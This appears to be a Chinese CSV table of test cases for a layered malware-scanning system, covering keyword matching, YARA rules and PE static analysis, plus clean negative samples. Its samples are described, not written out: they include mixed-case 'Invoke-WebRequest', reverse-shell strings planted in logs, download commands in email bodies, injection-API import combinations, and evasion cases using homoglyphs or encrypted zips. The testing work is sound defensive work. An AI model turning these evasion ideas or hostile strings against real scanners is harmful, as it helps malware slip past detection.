L3-018,高危字符串大小写混写,大小写匹配策略,`iNvOkE-WebReQuEsT`,1,按配置(是否忽略大小写)判定命中与否,记录策略,手写文本,L3
|
||||||
|
L3-019,unicode同形字混淆高危串,同形字绕过测试,使用视觉相似unicode字符替换字母,1,L3默认不命中,记录绕过边界,unicode混淆工具生成,L3
|
||||||
|
L3-020,日志文件混杂正常日志+高危串,日志文件扫描,日志文本,正常日志中间插入反弹shell字符串,1,L3命中高危串告警,手写日志,L3
|
||||||
|
L3-021,高危字符串放在eml邮件正文,邮件文本匹配,eml正文写入下载命令,1,L3解析邮件正文,命中告警,Thunderbird自制eml,L3
|
||||||
|
L3-022,关闭L3层,提交带高危串ps1,分层开关控制,关闭L3,提交L3-001样本,1,L3不扫描,无关键词告警,其余层级正常工作,复用L3-001,L3
|
||||||
|
L3-023,高危字符串放在密码加密zip,加密包无法读取文本,加密zip内含带高危串txt,1,L3无法解析加密内容,不命中,自制加密zip,L3
|
||||||
|
L3-024,超长单行文本(10万字符)包含高危串,长文本解析稳定性,单行超长文本嵌入高危关键字,1,L3正常匹配命中,不卡死OOM,脚本生成长文本,L3
|
||||||
|
L3-025,关键词白名单规则测试,白名单优先级,命中高危串,同时匹配白名单规则,1,L3不告警,白名单优先,手写文本+配置白名单,L3
|
||||||
|
L4-001,YARA单规则正向命中,基础规则匹配,txt包含`Invoke-WebRequest`,1,L4命中test_reverse规则,告警YARA匹配,中危,手写文本,配套测试YARA,L4
|
||||||
|
L4-002,YARA负样本,不匹配规则,干净样本不误报,空白txt,无匹配字符串,1,L4无命中,无风险,新建文本,L4
|
||||||
|
L4-003,PE文件内包含匹配字符串,二进制内字符串匹配,hello PE,硬编码写入Invoke-WebRequest字符串,1,L4命中YARA规则,中危,自己修改编译源码,L4
|
||||||
|
L4-004,同一个文件同时命中2条YARA规则,多规则同时命中,文件同时匹配规则A、规则B,1,L4返回两条命中规则,全部输出,自制样本+两条测试YARA,L4
|
||||||
|
L4-005,YARA规则热加载:新增规则后命中,规则热更新能力,新增一条YARA规则,提交对应样本,1,热加载成功,样本正常命中新规则,手写YARA+样本,L4
|
||||||
|
L4-006,YARA语法错误规则导入,规则容错,不崩溃,一条语法写错的YARA规则加入规则集,1,系统日志告警规则语法错误,跳过坏规则,其余规则正常扫描,手写错误YARA,L4
|
||||||
|
L4-007,YARA规则设置metadata标签,元数据输出校验,带meta描述的YARA规则,命中样本,1,命中时同步输出meta家族、描述信息,手写带meta的YARA,L4
|
||||||
|
L4-008,压缩包内文件匹配YARA规则,递归扫描zip内文件,zip打包L4-001样本,1,L4递归解析,命中YARA规则,自制打包,L4
|
||||||
|
L4-009,加密zip内样本,YARA无法扫描,加密包跳过,加密zip内含匹配YARA的文件,1,L4无法解析加密内容,不命中,自制加密zip,L4
|
||||||
|
L4-010,YARA 字符串正则匹配测试,正则型YARA规则,YARA正则匹配shell特征串,配套样本,1,匹配成功则命中,手写正则YARA+样本,L4
|
||||||
|
L4-011,YARA 计数条件规则测试(count > 3),条件逻辑校验,文件内出现4次匹配字符串,1,L4命中规则,手写YARA+样本,L4
|
||||||
|
L4-012,YARA 大小条件规则测试(文件大小),文件大小条件,规则限定文件size,配套符合/不符合样本,1,符合size条件命中,不符合不命中,手写YARA+样本,L4
|
||||||
|
L4-013,超大文件YARA扫描性能,大文件扫描稳定性,100MB文本,包含匹配串,1,L4正常命中,统计耗时,脚本生成大文本,L4
|
||||||
|
L4-014,关闭L4开关,提交YARA命中样本,分层开关控制,关闭L4层,提交L4-001样本,1,L4不参与扫描,无YARA告警,其余层级正常工作,复用L4-001样本,L4
|
||||||
|
L4-015,YARA规则白名单哈希,哈希白名单优先,样本命中YARA,但md5在白名单,1,L4不告警,白名单生效,复用L4-001+配置白名单,L4
|
||||||
|
L5-001,原生干净HelloWorld PE(无壳),干净PE不误报,C编译hello,无壳、无异常导入、节属性正常,1,L5无命中,无风险,gcc编译,L5
|
||||||
|
L5-002,同一HelloWorld UPX加壳,UPX壳识别,上面hello,upx -9加壳,1,L5命中,告警【PE被UPX加壳】,中危,upx工具加壳,L5
|
||||||
|
L5-003,UPX加壳PE,二次压缩,多层壳识别,UPX壳后再次打包UPX,1,L5识别UPX壳,中危,upx多次压缩,L5
|
||||||
|
L5-004,PE存在RWX可写可执行节,可疑节属性识别,hello PE,修改节属性为RWX,代码无害,1,L5命中,告警【PE存在RWX可执行节】,高危,PE-Bear修改节头,L5
|
||||||
|
L5-005,PE导入表:VirtualAlloc + WriteProcessMemory + CreateRemoteThread(不调用),可疑导入组合识别,程序引入这三个API,但是代码完全不调用,1,L5命中,告警【存在远程注入可疑导入组合】,高危,C源码引入API,不调用,编译,L5
|
||||||
|
L5-006,PE导入单个VirtualAlloc,无其他注入API,单一可疑API,仅导入VirtualAlloc,1,L5命中,告警【包含可疑内存API】,低危,C源码编译,L5
|
||||||
|
L5-007,PE节名异常(随机乱码节名),异常节名识别,修改节名称为乱码字符串,1,L5命中,告警【PE节名称异常】,低危,PE-Bear修改,L5
|
||||||
|
L5-008,PE导出表异常(大量导出函数),导出表异常识别,生成大量导出函数的无害PE,1,L5命中,告警【导出表数量异常】,低危,编译设置导出,L5
|
||||||
|
L5-009,PE资源段内嵌文本字符串,资源段解析,资源段放入shell字符串,1,L5识别资源段,可联动L3/L4匹配,修改源码编译,L5
|
||||||
|
L5-010,畸形PE:PE签名0x5A4D错误,PE头校验,修改MZ签名为其他值,1,L5识别畸形PE,告警【PE头非法】,不崩溃,010Editor修改,L5
|
||||||
|
L5-011,截断PE:节表不完整,截断PE容错,PE二进制截断,节表缺失,1,L5解析不崩溃,返回畸形PE告警,010Editor截断,L5
|
||||||
|
L5-012,32位正常PE对照,32/64位识别,32位hello PE,1,L5识别32位PE,无异常告警,gcc -m32编译,L5
|
||||||
|
L5-013,64位正常PE对照,32/64位识别,64位hello PE,1,L5识别64位PE,无异常告警,gcc -m64编译,L5
|
||||||
|
L5-014,PE导入表大量系统API(正常工具),正常工具不误报,正常开源小工具(如md5sum)PE,1,L5无命中,无风险,编译开源代码,L5
|
||||||
|
L5-015,PE重定位表损坏,重定位表容错,篡改重定位表数据,1,L5识别畸形PE,告警,服务不崩溃,PE-Bear修改,L5
|
||||||
|
L5-016,零节PE(无节表),极端畸形PE,构造无节表的最小PE,1,L5识别畸形PE,告警,PE工具构造,L5
|
||||||
|
L5-017,UPX壳 + RWX节复合特征,多特征复合命中,UPX壳同时RWX节,1,L5同时命中两条告警,全部输出,PE-Bear修改UPX样本,L5
|
||||||
|
L5-018,PE内嵌debug调试信息,调试信息识别,带pdb调试信息的PE,1,L5识别包含调试信息,低危告警(策略可配置),编译加-g调试符号,L5
|
||||||
|
L5-019,超大PE(200MB)静态解析性能,大PE解析稳定性,200MB无害PE,1,L5正常解析,统计扫描耗时,不OOM,脚本生成大PE,L5
|
||||||
|
L5-020,关闭L5开关,提交RWX节PE,分层开关控制,关闭L5层,提交L5-004样本,1,L5不扫描,无二进制告警,其余层级正常工作,复用L5-004样本,L5
|
||||||
|
NEG-001,业务标准JPG图片,图片不误报,业务实拍jpg,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-002,业务PNG图片,图片不误报,业务png截图,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-003,业务MP4视频,视频不误报,业务短视频mp4,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-004,业务正常docx报表,办公文档不误报,业务报表docx,无宏无OLE,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-005,业务正常xlsx表格,办公文档不误报,业务xlsx,无宏,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-006,业务正常PDF报告,PDF不误报,业务PDF,无JS无动作,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-007,业务源码java文件,源代码不误报,正常java源码,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-008,业务源码python脚本,良性脚本不误报,业务正常python脚本,内网逻辑,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-009,正常业务压缩包zip,普通压缩包不误报,业务打包zip,无嵌套、无穿越,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-010,正常业务安装包(干净开源),正常安装包不误报,开源干净程序安装包,1,所有层级无命中,无风险,开源项目下载,全层
|
||||||
|
NEG-011,正常日志文件,日志不误报,业务正常运行日志,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-012,正常csv业务数据文件,数据文件不误报,业务csv数据,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-013,正常eml业务邮件(无附件、无外联恶意),正常邮件不误报,内部业务邮件eml,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-014,正常dll(系统干净dll),良性dll不误报,系统自带干净dll,1,所有层级无命中,无风险,系统提取,全层
|
||||||
|
NEG-015,正常字体文件ttf,字体文件不误报,ttf字体,1,所有层级无命中,无风险,开源字体,全层
|
||||||
|
NEG-016,正常CAD图纸,图纸文件不误报,dwg图纸,1,所有层级无命中,无风险,业务收集干净样本,全层
|
||||||
|
NEG-017,多层嵌套干净zip(无风险),良性嵌套压缩不误报,4层嵌套干净zip,1,所有层级无命中,无风险,自制打包,全层
|
||||||
|
NEG-018,正常bat运维脚本(内网备份),良性运维脚本不误报,内网备份bat,无高危命令,1,所有层级无命中,无风险,业务脚本,全层
|
||||||
|
NEG-019,正常ps1运维脚本(内网查询),良性ps1不误报,内网信息查询ps1,1,所有层级无命中,无风险,业务脚本,全层
|
||||||
|
NEG-020,正常odt文档,开源文档不误报,LibreOffice odt文档,1,所有层级无命中,无风险,自制,全层
|
||||||
|
Can't render this file because it contains an unexpected character in line 54 and column 78.
|
Reference in New Issue
Block a user